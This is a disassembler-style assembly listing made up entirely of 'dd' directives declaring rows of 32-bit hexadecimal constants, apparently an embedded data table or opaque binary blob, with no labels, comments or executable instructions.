		dd 18331EFh, 0AE19C87h,	0A15D5B27h, 0CF8F8968h,	7E51CFDCh
		dd 0FC695475h, 0F04B4ADFh, 0D417BC44h, 0DD2FB9D3h, 0A6C8EE94h
		dd 2C5A5831h, 8C748117h, 0EB41720Eh, 4018F03Ah,	39661F40h
		dd 4EE1E6D1h, 20534FD0h, 5266F315h, 0B06DA08h, 9367E9D1h
		dd 0F197BF64h, 674E1972h, 4B057801h, 4BACC050h,	5A8A8AA2h
		dd 65CEAD89h, 13F8E912h, 70A79944h, 0D64E5AA3h,	68120F97h
		dd 0E2E30B31h, 91070E13h, 12AE8BFh, 0E23BFA01h,	7A76CB3Bh
		dd 27FA77A5h, 9D1B95Ah,	54E953E1h, 88173978h, 0AA870BF8h
		dd 49FFE31Bh, 0CE1E4B63h, 4F596B2Ch, 0DFF95D4Fh, 0E52D652Eh
		dd 0DA1FCC59h, 52E9CD29h, 0BFD07325h, 112B7999h, 60E84502h
		dd 0E95F5993h, 9501955Eh, 0C38009B3h, 0FE21D7DAh, 0E8D3F66Eh
		dd 885EA9EBh, 0E59B64A0h, 4CC4CE3Ah, 50732012h,	39C6B42Dh
		dd 24FC890Ah, 8971C51Ch, 5B9947DBh, 4ABAE450h, 58077D1Eh
		dd 41C4C19Ch, 539797E9h, 6ECE686h, 9C1FA0CEh, 6A43424Fh
		dd 16BE5600h, 0B901766Dh, 54498A02h, 0EA9EE906h, 92195604h
		dd 255F2753h, 8510BDC0h, 74EBB6ADh, 0A4C8EF88h,	0BD594B54h
		dd 97BF9F42h, 0B623B2C4h, 0F1AC958h, 0E30B4E7Ah, 0D5861ED3h
		dd 552D96F6h, 4ABBC179h, 15EC34C5h, 8BE4DF84h, 2EA518EBh
		dd 2F685D0Ah, 8E183AFDh, 0FF8292A0h, 4BE16C29h,	5C9596F1h
		dd 92165AF9h, 4CE0B29Fh, 7C972C52h, 36B96860h, 1735FF8h
		dd 7C94832h, 7CF1FD8Ch,	0BBB5D270h, 711678D2h, 595B3203h
		dd 0B3C65A25h, 4B65161Dh, 0C00B4057h, 759B89E9h, 8193BB1h
		dd 57724055h, 0D51F0490h, 0A7E8F618h, 7FAF9A55h, 0E62D098Ah
		dd 79596387h, 2E486DCh,	0F30FE942h, 92890EF1h, 0BF6459F1h
		dd 0F20181FDh, 41FC3CC2h, 1AF0BB01h, 0CBF134BAh, 0A5AEECF0h
		dd 20E728CBh, 5D18B197h, 8612CF01h, 17539F32h, 96419D08h
		dd 0FE859C2Ch, 0C5F7AA52h, 30FBC525h, 0CA5BDACEh, 324D367Dh
		dd 0CD765BB8h, 6C7E52A2h, 0AE934012h, 0D84CC39h, 0BFF2685Ch
		dd 3DB5A5CCh, 0ED9D6688h, 86153208h, 0F6E9405Dh, 0D3066D2h
		dd 0E92A0932h, 0C1B5E904h, 0FB40561Ch, 51394B92h, 0DB65B566h
		dd 0CADE5038h, 0A4DB7160h, 0E956581Bh, 6EA0532Dh, 9FBAA03Fh
		dd 69DF3E22h, 0DD65C500h, 0EA299620h, 8C265D5Eh, 0B65200B2h
		dd 5AF188C3h, 281D972Ch, 0E82D04C8h, 25E95429h,	3946E4FAh
		dd 0CD867198h, 67EE099Ah
		dd 345160B6h, 3E16E301h, 6C6401CDh, 24636973h, 0B135FE87h
		dd 2105E276h, 37B1CC7Eh, 0C2FE4D71h, 0C97F739Fh, 870A84h
		dd 2F62C3BBh, 825ABC09h, 4DFB32D3h, 1AD5EB42h, 5B0C0144h
		dd 1B422D58h, 62D1D05Fh, 0BAE97308h, 28E03ECAh,	60821A64h
		dd 2F186620h, 0E7E261DAh, 3FD15361h, 81013DB3h,	897951EAh
		dd 0D1D96E4Ah, 243A4131h, 93D5012Dh, 6F54CC6Ah,	85F56447h
		dd 0F76F9FC0h, 0C0398D5h, 162342D8h, 151DB1FEh,	0CA867EB5h
		dd 0F87C2095h, 501C1CE2h, 0F203BE10h, 4F306D3Bh, 3A25A2F1h
		dd 41AA2198h, 0C055E695h, 482C68F8h, 3CDFB825h,	0E97BB482h
		dd 326AC1BCh, 3020A61h,	0FFBBE25Ch, 0E0E1BA27h,	592DA3BFh
		dd 61B680BDh, 748BA6D2h, 0E0F84DE9h, 0D146476h,	0B8EBC45Ch
		dd 64BBC469h, 0E99A9CBEh, 67789F25h, 0DA2E3F20h, 0A6BE8335h
		dd 0C0BC4C17h, 343225BFh, 0F0315D00h, 5C98355Eh, 595678DAh
		dd 218BDBC2h, 0F115A484h, 243647AAh, 0FFF1C1D8h, 0AD62EC35h
		dd 42E96412h, 0F746B4C0h, 0F68105D6h, 81773810h, 7AD52CB1h
		dd 0A6689021h, 0CEB1C52Ah, 54562758h, 6A3F003Ah, 8345E937h
		dd 0ACB60483h, 0E0414219h, 7C703D9Eh, 20FD594Ch, 5E09D73h
		dd 0EB0481D3h, 6D0CB822h, 1ADC0280h, 943EF318h,	40813F8h
		dd 76F485Bh, 0A875E188h, 0EC4EABB8h, 0BC69B1C8h, 4BC78B82h
		dd 24E1FDDDh, 3E8421FEh, 59CD1701h, 0F60ED83h, 905B9F2Ch
		dd 469141Bh, 2A7855BCh,	86EC807Ch, 0F7E48A37h, 0AA68D90Ah
		dd 176A8E5Dh, 3D7FDC02h, 985F761h, 0C400BE29h, 0BA49B5E1h
		dd 268A983Bh, 922D7Ah, 0E566A535h, 70B82964h, 5003494h
		dd 77261AB4h, 6572092Dh, 88773553h, 503E071Bh, 0A65FE911h
		dd 0FBBE9100h, 0B70A0607h, 0FDD5AD69h, 3BF97224h, 51397E0h
		dd 5B01199Ch, 95E398C3h, 0FBD2340h, 45EB5541h, 0BBCFFD44h
		dd 299BC044h, 47549DEAh, 28808FF4h, 89F7E969h, 2570C99Fh
		dd 0BF56132Ah, 59E9493Ch, 3375C1E8h, 430A6E5Ah,	78AA36D9h
		dd 0AFB49718h, 0F450B554h, 48D8305Fh, 5B83A918h, 26BB2BACh
		dd 34B58180h, 2FC1C380h, 0E7620CC1h, 0D72BA0h, 26A35C9Ch
		dd 694F781h, 2C0E24Eh, 9D697E7Dh, 7FF9A981h, 9363E680h
		dd 6D052804h, 0C2AE4160h, 0B2D7521Eh, 79004159h, 0EB59D03Bh
		dd 0D8FF4003h, 760E82EDh, 52E9680Eh, 9DE07ACh, 13D5C378h
		dd 3397F9DFh, 6F616224h, 64450A1Ch, 2969EA05h, 1718C3Eh
		dd 8084DD82h, 0C2C012F4h, 5F3D0429h, 0F638A409h, 0BCA9D00Bh
		dd 0B9656C7h, 855684E2h, 75B86D62h, 7092646h, 8003D605h
		dd 0F40DE2E1h, 2C6A031h, 4DC4B576h, 231E6C0Ch, 47BFE67h
		dd 0E9397727h, 4862FC89h, 17C90E06h, 0F7480211h, 838840D1h
		dd 6C2D0134h, 0A54EE0Dh, 10C76B12h, 0E6059880h,	0E8D12F17h
		dd 7009EE50h, 29CFED8Fh, 52450099h, 0B56AC51Fh,	8045F6Ah
		dd 0FD30AB59h, 2C31AE68h, 155206F1h, 0DF5E6DBAh, 0E95109E0h
		dd 0DC26A941h, 0C156C5A2h, 3F1BB41Fh, 1D12CF97h, 0BBD34015h
		dd 737A06C0h, 4D58E97Eh, 902D660Eh, 4B058F5Dh, 0E852066Bh
		dd 0F70FDE16h, 0DE9111Eh, 44B23ECDh, 7BD0448Bh,	0FE7696BDh
		dd 0B579921Eh, 0C6A5C353h, 94E0361Eh, 12A1C843h, 0C637A698h
		dd 0E30AED20h, 0ADC839D1h, 602F8200h, 0B6B0E903h, 54310908h
		dd 2B5A7619h, 0C2171BE2h, 80B2F8B3h, 0CF0ACE05h, 5A00B579h
		dd 3936EBBBh, 0CB811400h, 66500910h, 4497904Bh,	2C0BC6E5h
		dd 0E2C8B2ADh, 0D70DC0BAh, 75771D57h, 2B166731h, 0BA805D7Ch
		dd 28B3046Dh, 0EAD12984h, 6812488h, 0AD53A1CEh,	40010C3Fh
		dd 0E922FB6Bh, 8A6B14DBh, 28777CC8h, 10366082h,	0A8D5D7E4h
		dd 0D9D484F3h, 5F2B6803h, 819C588Bh, 29F1DC83h,	0FE29C5DDh
		dd 0D6D02FC1h, 4E289F34h, 970BE9E8h, 1AA4F2D7h,	42D6560Ah
		dd 0B600CBC0h, 0F52831h, 0DDF65A66h, 5113B753h,	0E916B509h
		dd 0B507D8EEh, 56B4DC73h, 0CFA58AEEh, 700D5230h, 0A22BA3CCh
		dd 0ABD29F90h, 0E73B08B1h, 0F180DE5Eh, 6B649C1Bh, 37839D29h
		dd 3C0F70FCh, 657BD735h, 1C44868h, 0A5BDB341h, 0C02B3219h
		dd 0E56A9C3h, 58D86097h, 7F5C091Eh, 0A555DFE9h,	0A613D992h
		dd 5C5BBF82h, 8410725Bh, 739D5453h, 0A6C316D6h,	7A814124h
		dd 47E8AA74h, 0BA56D58Eh, 11E9B461h, 50029938h,	0C0FE40B0h
		dd 3EEBA941h, 8A83B927h, 541025DDh, 575C5246h, 0EC12281Eh
		dd 0E0B4035Fh, 11353845h, 97112DBh, 0B585058Dh,	89548232h
		dd 0D1C82102h, 3ADB49FAh, 47D542Dh, 900FE952h, 88C3FE1Ah
		dd 1F8D84Fh, 0B8D76884h, 0BE56C3DCh, 0B0EC8E8h,	416E59E9h
		dd 41FC024h, 0FA38C480h, 4BBFE02Ch, 4835A322h, 0D1E9A034h
		dd 0B773B522h, 4A5A5A14h, 658A5B00h, 8A290EA1h,	5C4C7Fh
		dd 171E0CBBh, 477EBE55h, 0E9B98A05h, 5FEDDCB6h,	0C335B505h
		dd 75379327h, 6E687488h, 0AB301F5Eh, 581A2352h,	0E705D94Dh
		dd 0F83AA96Bh, 537778E3h, 0D895EB25h, 1BAE2D68h, 680B1FC8h
		dd 7A14E42Ah, 56BB66D3h, 8524AA19h, 58F7CFEFh, 28A0278Fh
		dd 0C1E4D982h, 5772E921h, 72D737EFh, 48569A71h,	2F9F441h
		dd 0E8FD7471h, 3101E13Eh, 2AA2ED0Ah, 2E7B24F7h,	52C7026Ah
		dd 69B45683h, 0D2C12F27h, 0A49ED35Ah, 0B69E2158h, 66699F8Bh
		dd 0FCDC20E2h, 1B4CFAC5h, 0CDB500AEh, 33895E68h, 3CE0B0C8h
		dd 894CB899h, 5E303C52h, 0EFA6E491h, 0E7215C01h, 677720C2h
		dd 7B549A0Ah, 0B9F01740h, 44ACCDB1h, 0C5D0302Fh, 2D68F258h
		dd 0D09970BFh, 2A852A20h, 4EC18ABAh, 0E72C804Ch, 75801E68h
		dd 215E0BA2h, 0B2CED652h, 0A059F016h, 0B878175Eh, 9C14E2A5h
		dd 5898FEh, 689734B5h, 0CA81DAF7h, 4C488B0Eh, 0F0F2C035h
		dd 0F86F1F02h, 1EB27CE2h, 25E96863h, 0F30557FAh, 5E8F6D19h
		dd 0CF2A881h, 0D107763Dh, 0B4380865h, 0EC2F9536h, 925CA087h
		dd 0C7A3B0E9h, 92FA2520h, 3C613A88h, 20A340DDh,	0DDA8E8E9h
		dd 0A63CC580h, 9E1C4930h, 0E9EEEBC1h, 95BC72D7h, 3D02BE04h
		dd 2C0EE79h, 604CF216h,	73051A4Bh, 64985815h, 0E858C34Bh
		dd 3707E3EAh, 0F21061C2h, 467D21CFh, 4E67F2F1h,	0DE2CD1AFh
		dd 0A72103CAh, 0D1F9D2D2h, 8D708B5Bh, 0B9865FE6h, 0D708E1B5h
		dd 7F33D87Fh, 0E3319C40h, 0F4416A8Ah, 0C85C6498h, 8EB72553h
		dd 832212BBh, 0BF7B58DBh, 37565010h, 7C09A525h,	0F6130DD6h
		dd 7A547C8Bh, 4437A40Bh, 100C0F05h, 4F426809h, 5F544398h
		dd 0BA5FC9FEh, 854A5EA6h, 1A01AE6Fh, 172B218h, 1252C47Fh
		dd 93FEA208h, 0B996B2FDh, 0E10FCFFEh, 5C2E68C8h, 4847C824h
		dd 88D8EB91h, 58818362h, 0BBA8413Bh, 1C56C952h,	0D88227E9h
		dd 362F0AE8h, 8107D506h, 970D2BEAh, 126043C0h, 1251B880h
		dd 0B8344A50h, 0A3C09C01h, 350F431Ah, 0D659001Bh, 0EEB92D6Ch
		dd 0F89734ACh, 78B8006Ch, 0E9353DDDh, 0BE929EE5h, 6C2DD677h
		dd 2915C5B9h, 0A65008F6h, 2607C220h, 53D76025h,	0B068FBF0h
		dd 0A8DE9971h, 0D5072D01h, 0C59DFE4Eh, 4B032EEEh, 8A039C2Bh
		dd 3B16A391h, 0E094077h, 5D5B2B67h, 85684AB0h, 0E03B2A55h
		dd 8F5A76C6h, 698F49F8h, 0CF291390h, 566F7349h,	90684165h
		dd 0B3D2073Ch, 3EF5D9F9h, 7E84A5DBh, 7FA3508h, 0B02055Bh
		dd 0B479C176h, 66D5D16Eh, 7AAE4253h, 30AF4D53h,	838F2868h
		dd 0C05D2E11h, 0CFFC736h, 7635CF05h, 1CC07812h,	33223BFh
		dd 0C1D6F767h, 0E69B04EEh
		dd 0CA0E075Eh, 78F8874Dh, 848CF661h, 0A02F7CCDh, 8E5A6BD5h
		dd 0E2C4B7ACh, 7C8E2EFh, 9FE29DFh, 0AEE3C7C2h, 0D44936B7h
		dd 4C692BBCh, 0A8B532F0h, 0D282B3E8h, 910A6D11h, 0EAB5A828h
		dd 1497ABF2h, 0FEE918F3h, 6BF2E374h, 4A674439h,	650356A8h
		dd 4214607Dh, 187B1C38h, 850C2FA0h, 0AFD300B3h,	535AD501h
		dd 7928E950h, 801CA617h, 0F905AAC7h, 0F71C285Bh, 0AE9FA02h
		dd 0B7B1A3ABh, 0ED2628DDh, 0CE10F5CDh, 7267876h, 151DE162h
		dd 89A03F58h, 0D2989570h, 5782D567h, 0F0D17499h, 9991B076h
		dd 1E27F83Ch, 0BC1C7923h, 6DB1C898h, 72094EC5h,	965939C9h
		dd 96E91034h, 0FC5A2D25h, 0CBFE420Ah, 7987F854h, 0A3E3D928h
		dd 0C153069Ch, 0D4A60CE4h, 90B68F27h, 1F665366h, 5275EC68h
		dd 6E84A11Dh, 25589C9Eh, 29EA134Ah, 6FA02EE5h, 9F181825h
		dd 5484652h, 63EABC2Dh,	5C29B93h, 5B1D6D22h, 6807F03Dh
		dd 0E621022Dh, 0E911E15Fh, 26172A22h, 1DA1B2ECh, 236800E8h
		dd 8F2FC476h, 459AEBE4h, 6C971C20h, 0EC713077h,	0EEC38133h
		dd 0EE44634Bh, 39E80244h, 0BB6B7C84h, 348BDA31h, 582887Bh
		dd 61F3B95Ah, 57C7BB18h, 2C5FA5BDh, 7C884021h, 16E240ACh
		dd 5BD5E397h, 8586DE7h,	8351B605h, 0F005AE67h, 24F45808h
		dd 68530557h, 0BAFE074Eh, 2EEF9853h, 911460CCh,	97F6817h
		dd 0A5D0E952h, 0BF94D690h, 5836C025h, 0A93FFC22h, 9B6E5EBFh
		dd 0CDBD4A56h, 0F099E917h, 0D62D290Ch, 0BD5D25Ah, 467C22AAh
		dd 78217D0h, 0EA596BFEh, 14CEF26Eh, 7D269725h, 7CF3EE00h
		dd 215A6658h, 9D16B2F0h, 0D972C39Ch, 38D83AD2h,	515B8058h
		dd 0D101FFBEh, 4909AE78h, 80962460h, 5D58E831h,	892E6F2Eh
		dd 46BAC174h, 97ABEBD8h, 9698DEF1h, 0CF78135h, 60E86EB9h
		dd 0F162A0Ch, 3EC54E5Ah, 0BF8290BBh, 765CED3Eh,	8F662DA8h
		dd 67B14114h, 0C93C4873h, 7E847948h, 0A527EE79h, 56FC9582h
		dd 2B305139h, 78BA2385h, 784B684Ch, 7866F7F4h, 12EE2552h
		dd 0A68247F1h, 0DF8BE688h, 459BC2ECh, 38945D49h, 9048E913h
		dd 31A27941h, 3F704217h, 294AB55Ah, 74120B0Bh, 0E9843AF6h
		dd 44AEA840h, 9E2D660h,	5B04EE5Bh, 0B13FB802h, 416FEEBBh
		dd 0E81EAB96h, 0AD74303Fh, 0CA08CF72h, 5A7EDE9h, 8902EA83h
		dd 3C896E4Ah, 0F32ED4F1h, 0AC26D3AEh, 161709F0h, 6EFE7970h
		dd 0B2F2290Ah, 5E5B0B20h, 0D6D868ACh, 87809E7Ch, 0CEC0B0F2h
		dd 0A29C3108h, 0BD689609h, 0BB4B9963h, 216D456Eh, 6961EAD8h
		dd 38738859h, 0B7EF2578h, 5163B812h, 0A1A6E75Eh, 1F5E2A7Ch
		dd 2316A0DFh, 31457B22h, 5A2CBD1Ah, 0DFDC2C5Bh,	9668354Bh
		dd 0EEB0542h, 0F8A70641h, 6AE91DB4h, 59206927h,	15E84531h
		dd 0F2479D22h, 0DACBC32Ch, 0D20A20BDh, 155346A1h, 851CA692h
		dd 8DA8EF47h, 82C9E65Bh, 0D4C654E9h, 0A5BA929Fh, 2A5AF006h
		dd 2B274E24h, 17CC3408h, 0FAA6E064h, 0BB96140h,	4B7656F6h
		dd 9E7A104h, 0D3AA82BBh, 0D2C0DF03h, 80BF275Fh,	0C8FB9DAFh
		dd 0AC51506Ah, 4960821Bh, 59251221h, 0F485C6Eh,	0CDB3C0Dh
		dd 2A9C1CC9h, 2E185FE0h, 898737Ah, 23ECD71h, 4C5BE305h
		dd 6AAFE174h, 0C53016A7h, 2C2E1F0Ch, 0AE100BD6h, 0D6D0281Fh
		dd 120F759h, 788ABA52h,	402E07D5h, 0B3656D2Fh, 545E010Dh
		dd 0C06A1CDh, 4AE9266Dh, 555A8B06h, 58BC9616h, 7AE85344h
		dd 0C516280Eh, 415AB877h, 62116107h, 78105058h,	0EEDFF780h
		dd 141BADDh, 6E72E0BAh,	60D70919h, 0BF17C705h, 4885C1CFh
		dd 1E5C4FBBh, 0D85A7D7Eh, 0F9A80115h, 2980F380h, 5BA6EEE8h
		dd 429E9D62h, 5225AC0Bh, 801CE6C0h, 0AC9C5EE7h,	0DFF61716h
		dd 88DDEE01h, 0EEF85BFEh, 0F0281220h, 0F805AE5Ah, 90D037E9h
		dd 0AC22F368h, 103D0088h, 0E381437Fh, 4E1F35C7h, 96DE916h
		dd 0C9C5D97Dh, 0C6A58CF6h, 0F0E91256h, 0D5E36179h, 0ACF33AAEh
		dd 0E6EB5C8Fh, 0E0D33F40h, 0DA609598h, 0D89C52Dh, 843EE53Ah
		dd 7B54C1CFh, 765102E3h, 0CFD0695Bh, 7E859580h,	5A27C92Fh
		dd 4208828Bh, 78170975h, 0EDE827A1h, 0C1E78FF6h, 18826ECDh
		dd 0B9687AB2h, 30A5CC7Fh, 0E19F8A78h, 302425FCh, 0E0015203h
		dd 0E9384D5Dh, 99F252A2h, 0D9D8A7D6h, 4E589694h, 0F76680CDh
		dd 459C62CFh, 0D1416017h, 3EF95096h, 9CA176E8h,	321F8289h
		dd 85007ADFh, 7653A470h, 950658C1h, 0C4453607h,	63CAF035h
		dd 3E7CE316h, 44FEE206h, 0A364CD2h, 0A6FDAAF1h,	73F60099h
		dd 2FE932F4h, 5DEC1564h, 0C9E5CFC9h, 5A14202Bh,	7249C768h
		dd 0A37F1045h, 0F2BCAC3Eh, 8D90BE12h, 0FC946F4Fh, 1B9AD401h
		dd 1C3B6208h, 548C6BDh,	30B415A0h, 0DF020D28h, 134CD5Fh
		dd 8FF88D5h, 56535A09h,	674258C2h, 0FF443181h, 606DE0Ch
		dd 30E1F003h, 11E04105h, 9FB02529h, 5577F6F4h, 264D69h
		dd 0F14BFEEh, 502C2435h, 79830711h, 55432072h, 6C9557E9h
		dd 202453Bh, 11751FDBh,	0CB4456FCh, 59DD8ABEh, 62B8CB69h
		dd 74477D2Dh, 0DB94E986h, 40659722h, 6027CC24h,	0B9E35AAh
		dd 315853C4h, 0EB0B0776h, 3F526C5Dh, 752DE9C3h,	33B9A2A0h
		dd 26C330B5h, 0C5E33CBCh, 8A712FAh, 0BA01F3DBh,	0EF56BD3h
		dd 0A6953230h, 0F02925FBh, 2D0B6714h, 0D4064879h, 84A520FDh
		dd 8107A108h, 78F00405h, 0F2521F94h, 0B64E8C8Eh, 7EE90B87h
		dd 3B9D90DAh, 48419CDBh, 0FB522DB5h, 0AFB40AFCh, 82A8FB21h
		dd 98FACAE6h, 50416C2Fh, 12BAFA4Ah, 0A172F11Ch,	898B030Bh
		dd 44602AB9h, 0A0C0A8A1h, 24E9C231h, 96E05E52h,	53231ED1h
		dd 8917C1B2h, 742D2BCBh, 0AB121860h, 877C1DD6h,	8D31AD9h
		dd 0D96F49DCh, 8B382FEBh, 0FBEA295Ah, 0BD64CDB2h, 0A5628E7Ch
		dd 52E7735Eh, 4F08EEA0h, 1A1DE606h, 0D67F7031h,	141A0502h
		dd 0CF5EC1D6h, 0D15C6059h, 8F04E769h, 60FA1291h, 41058C9h
		dd 805DD388h, 3B59EB80h, 798D2ECBh, 59BA6805h, 0BDC466F8h
		dd 0DDEF415Dh, 0BF204C77h, 553A02E7h, 9DE92D46h, 5E4E03D0h
		dd 67BBA753h, 3E432D9Fh, 5E63D4B4h, 272F8AF5h, 422B5CC5h
		dd 33C6B0BCh, 35BB659Fh, 88ABE0Ch, 0D7685C05h, 5E5F2227h
		dd 90C46629h, 63C49D49h, 904FF574h, 6E2D0C00h, 27DC47A2h
		dd 0DAD6C121h, 44E91CCBh, 74410D33h, 9B1A5A83h,	3AD90C69h
		dd 92402FE6h, 0FA6349E7h, 0C70EC07Ch, 97BFBEBAh, 3612574Eh
		dd 595B41FAh, 74B599E9h, 541693ECh, 0DC016BC9h,	72EC336Fh
		dd 122EC3D8h, 0BBBC1B02h, 4D619044h, 440003B3h,	0E929B676h
		dd 86B19E65h, 0FEDBC546h, 0C369B726h, 577DF005h, 0F8E1095Eh
		dd 575B0707h, 0D1849229h, 0FD8904A8h, 6E9BB7B2h, 2F6FB589h
		dd 5EBA47C8h, 4EB9CC40h, 522D1B72h, 7FD44095h, 890082D5h
		dd 38A0338Fh, 12865048h, 71EB915Ah, 0E0B353FAh,	0E91AC6B1h
		dd 55CF0A75h, 257DDF80h, 50B75732h, 0FF768B4Fh,	133E6891h
		dd 882A904Dh, 0CB40F61Bh, 49EDECADh, 0F04C6398h, 265C4210h
		dd 6C09BA61h, 42A7148Ch, 5C2C1218h, 0FB4074EFh,	70B80928h
		dd 0A77BE15Fh, 0DC0127DCh, 4C525948h, 51955A11h, 9DD4EBADh
		dd 105BA5B8h, 8087DD32h, 671736B9h, 8E4B69C3h, 69757E47h
		dd 0F76B942Fh, 87A7A676h, 5B570114h, 0B58267Ch,	757AE968h
		dd 1C2C071h, 3644DFCAh,	0A7A3E913h, 0E690E8ACh,	0BDEDBA77h
		dd 62ACA767h, 2B2EA40Eh, 4073D63Ah, 56FBA034h, 87648495h
		dd 64836B8h, 0E91FF8F7h
		dd 68ACA6EEh, 9971B20Bh, 6AE4502Ah, 19B5247Ah, 6F7E2DE9h
		dd 5CA7A348h, 0BF09C9D9h, 0DBF72FE0h, 0C3BFF398h, 0E6260022h
		dd 893412BDh, 594AE9DAh, 11C7E643h, 649FE75Fh, 2C05C6ECh
		dd 4EE5FCD0h, 1F9E39FDh, 2CF00E69h, 0E9E6829Fh,	47A60C19h
		dd 2EA006D3h, 5D825AFEh, 0EF16CBC3h, 0D2E1F068h, 0C48EA23Ah
		dd 0DCBCCCE9h, 512A8B42h, 699B96DEh, 0F577A955h, 2BFA69Ch
		dd 6C14B16Bh, 16CAB92Bh, 8C7008F3h, 0CFB85D12h,	2C083E0h
		dd 0FA17E92Dh, 55FC2DE1h, 59E4B851h, 0D906D1F6h, 0B9EF38E9h
		dd 934F9209h, 1B8B55h, 20583F49h, 93F8B49Eh, 9391A2B2h
		dd 0EA8406FDh, 0CFCCFF5Dh, 0B3794ED9h, 0BEF1162Ah, 0ACE545A8h
		dd 85E9A068h, 9AD5CF7Fh, 5B728342h, 7508D260h, 436F6512h
		dd 0C6539D02h, 0D805C067h, 34C08260h, 0C7AEEEB0h, 0CBCF5197h
		dd 348BEF56h, 60249AF1h, 1361FA64h, 0E810BBDh, 79A27E60h
		dd 0BC492EE9h, 0A5477C33h, 0E98A88BFh, 7CCE4C25h, 1003617Fh
		dd 79DF3038h, 528D935Eh, 48736B66h, 0BD3553E1h,	0EB00E23h
		dd 1555FF9Fh, 725E8F11h, 3E3BA00h, 0BB294901h, 23F733E1h
		dd 85587731h, 0EA40BBFh, 0CB42EB5Ch, 0CB961075h, 62F0264Ch
		dd 4A960085h, 86E927EEh, 9F41B15Ah, 540A635Bh, 17330E00h
		dd 9C0C6261h, 0E9F844A5h, 7CCB248h, 53515A5Bh, 0E8D35959h
		dd 0B6B4E985h, 1213D7ADh, 0BF9C416Ch, 6E89597Ah, 0ACE8B312h
		dd 25B4ED4Ah, 7447F455h, 0A30467D2h, 68E811EEh,	84A97BCBh
		dd 7C3A25Fh, 0A4680218h, 95F226DDh, 0F9429D57h,	2F24140h
		dd 0BD2901Fh, 17B058D7h, 65B63852h, 285AF001h, 0E95166D8h
		dd 0D588E8B2h, 0EC566EB0h, 0FE6839EDh, 513F63CBh, 23F4A711h
		dd 0F2F817BEh, 9D001DCDh, 2370B9h, 0E18129AFh, 39FA415Ah
		dd 12B20EDh, 2FEAAA7Ch,	72FCFF5Bh, 0FDC58BE3h, 2E89D39Bh
		dd 2F3D2D3Eh, 8E6B66D9h, 0AE7E13F6h, 0AF40A0F6h, 8DBB753h
		dd 2ED54C4Bh, 0B25A45E9h, 0F1FC5DBEh, 0F6CF6C6Eh, 89119530h
		dd 53F8F850h, 8FF4E94Fh, 15A712BEh, 1776E8F1h, 18EA3410h
		dd 21DA0E5Ah, 4608CC12h, 1BBC3408h, 93A4CD66h, 0B6690245h
		dd 0E14C8412h, 0E54A12ABh, 52F43B29h, 16E5BEF6h, 0BC21EF05h
		dd 2DA5796Eh, 0E09C928Ch, 7BCA6812h, 0C8533533h, 1D9B1A42h
		dd 80BA5B31h, 81DEEFF4h, 812B6EAh, 0DCE53278h, 0A2E90800h
		dd 908B9277h, 50E30ACDh, 1F9D3B55h, 22F94972h, 6AF24680h
		dd 4E3028B6h, 0D8E652F7h, 0B8617112h, 4DD201CBh, 0F309CD74h
		dd 0BF846A5Eh, 1FBA5C4h, 122BAC64h, 0E9D5300Ah,	7CE8693Bh
		dd 36ECF504h, 0C1EF8988h, 7AE3B5D3h, 0F057A134h, 7D5FDC81h
		dd 62BE6600h, 78B73B74h, 7822908h, 0E9A6ACFCh, 6E8B3DD4h
		dd 62A55E0Eh, 0EE20A70Ch, 0E3113DD3h, 10F3660h,	47239B27h
		dd 0A445EF87h, 0B6035006h, 0B0589806h, 51D14F7h, 0FE097642h
		dd 0F6FD075Fh, 1F4381ABh, 0C6B02F89h, 3412F148h, 0D6622300h
		dd 0F81FC13h, 6C32EDCEh, 2E6C1A3h, 239AB205h, 89D42B0Dh
		dd 680480BDh, 0B810965Eh, 46751E25h, 9FE99B84h,	0A6F1D795h
		dd 332C4082h, 0E4C101AEh, 0A1C47CC9h, 0D3345F92h, 61270C24h
		dd 0E2674A5Ah, 6CE207F8h, 669864C0h, 32E91FB3h,	4449ECD3h
		dd 0FA21E6D5h, 0CB9F4CCEh, 0B270F381h, 3CEBED1Ch, 0EB24F37h
		dd 0B057929Fh, 0C5BD5F79h, 0B9A2AD46h, 0BC51FD48h, 67A8DC2Fh
		dd 0BC2C3568h, 1FE9C290h, 0FCB075B8h, 6CBF22F3h, 4751557Eh
		dd 5E31E9D8h, 0D3C9E88Bh, 0B0B66563h, 26EC680h,	0E9F18851h
		dd 9E54C83Eh, 3DAE6B82h, 20FCDE18h, 5C7724E2h, 3CBF208Eh
		dd 7F257C7Bh, 0EE92960h, 0F42FCF94h, 93E9782Fh,	5722646Ah
		dd 303ED5E6h, 0BD100346h, 761E29D1h, 0D4C94519h, 8D69D9EDh
		dd 82D91304h, 0E260E544h, 20E88776h, 6158B0Eh, 0BF060722h
		dd 87096AD8h, 7C0A4C3Ch, 45240071h, 0D189EF20h,	4AD65A52h
		dd 0A29083A2h, 0D11F6505h, 59130B27h, 0C33E8A1h, 0D2E5EB54h
		dd 0AAD2C68h, 0F01D040Fh, 370264CCh, 0F5681B2Eh, 89C8D907h
		dd 0B65CCACEh, 682F84E9h, 21FA9C16h, 505300F3h,	0EE6250B0h
		dd 9B4406Fh, 67F0DEB0h,	5627549Eh, 4B591E67h, 9D7EB0C4h
		dd 0D32FAB82h, 3AD07055h, 71311418h, 0FCBC400Ch, 0FD0C8938h
		dd 3AEE015Fh, 6B04805Dh, 97D25E98h, 116B46FEh, 1CB59C0Dh
		dd 0B6A6257Ah, 0C462045Eh, 0AA8009A1h, 265935C8h, 123074B6h
		dd 0B72E3BD1h, 0EA12ADC0h, 299D3304h, 47BB59CEh, 8736EE16h
		dd 0F4689764h, 5AB9E337h, 58F46D22h, 0BC5C5F4Ah, 0B78864DFh
		dd 71E5E54Eh, 0C030EB73h, 711E68EFh, 0B850020Ah, 2B385413h
		dd 1EA6C184h, 3DAB5F12h, 46452ECAh, 2ECD68BCh, 8C2C6C78h
		dd 0E0B20873h, 548D963Ah, 9D9701E2h, 6FCB2BEAh,	0F02E3741h
		dd 8A4A44ADh, 167632B3h, 0CB16FC26h, 0BEE384Ch,	76F5CCDCh
		dd 823092C6h, 1657548Bh, 75BB7A7h, 0D410DEACh, 3DFD662Eh
		dd 0E50AC27Bh, 0A6225449h, 1BC5016Fh, 97006D25h, 0D258EDADh
		dd 0D028EF09h, 2E3AACC5h, 510EE680h, 5F2CA4B1h,	25301DAAh
		dd 0BD01B5FEh, 0B719E93Dh, 2D09A67Ah, 89CA8967h, 58351CD5h
		dd 4C1EDC55h, 1271373h,	825B925Ch, 0F7832067h, 23103109h
		dd 506B8629h, 2C16752Ch, 54E3F90h, 4EED103h, 840721A1h
		dd 9FA15FAEh, 1DE985E0h, 92A46788h, 3E518049h, 6AF4FFA0h
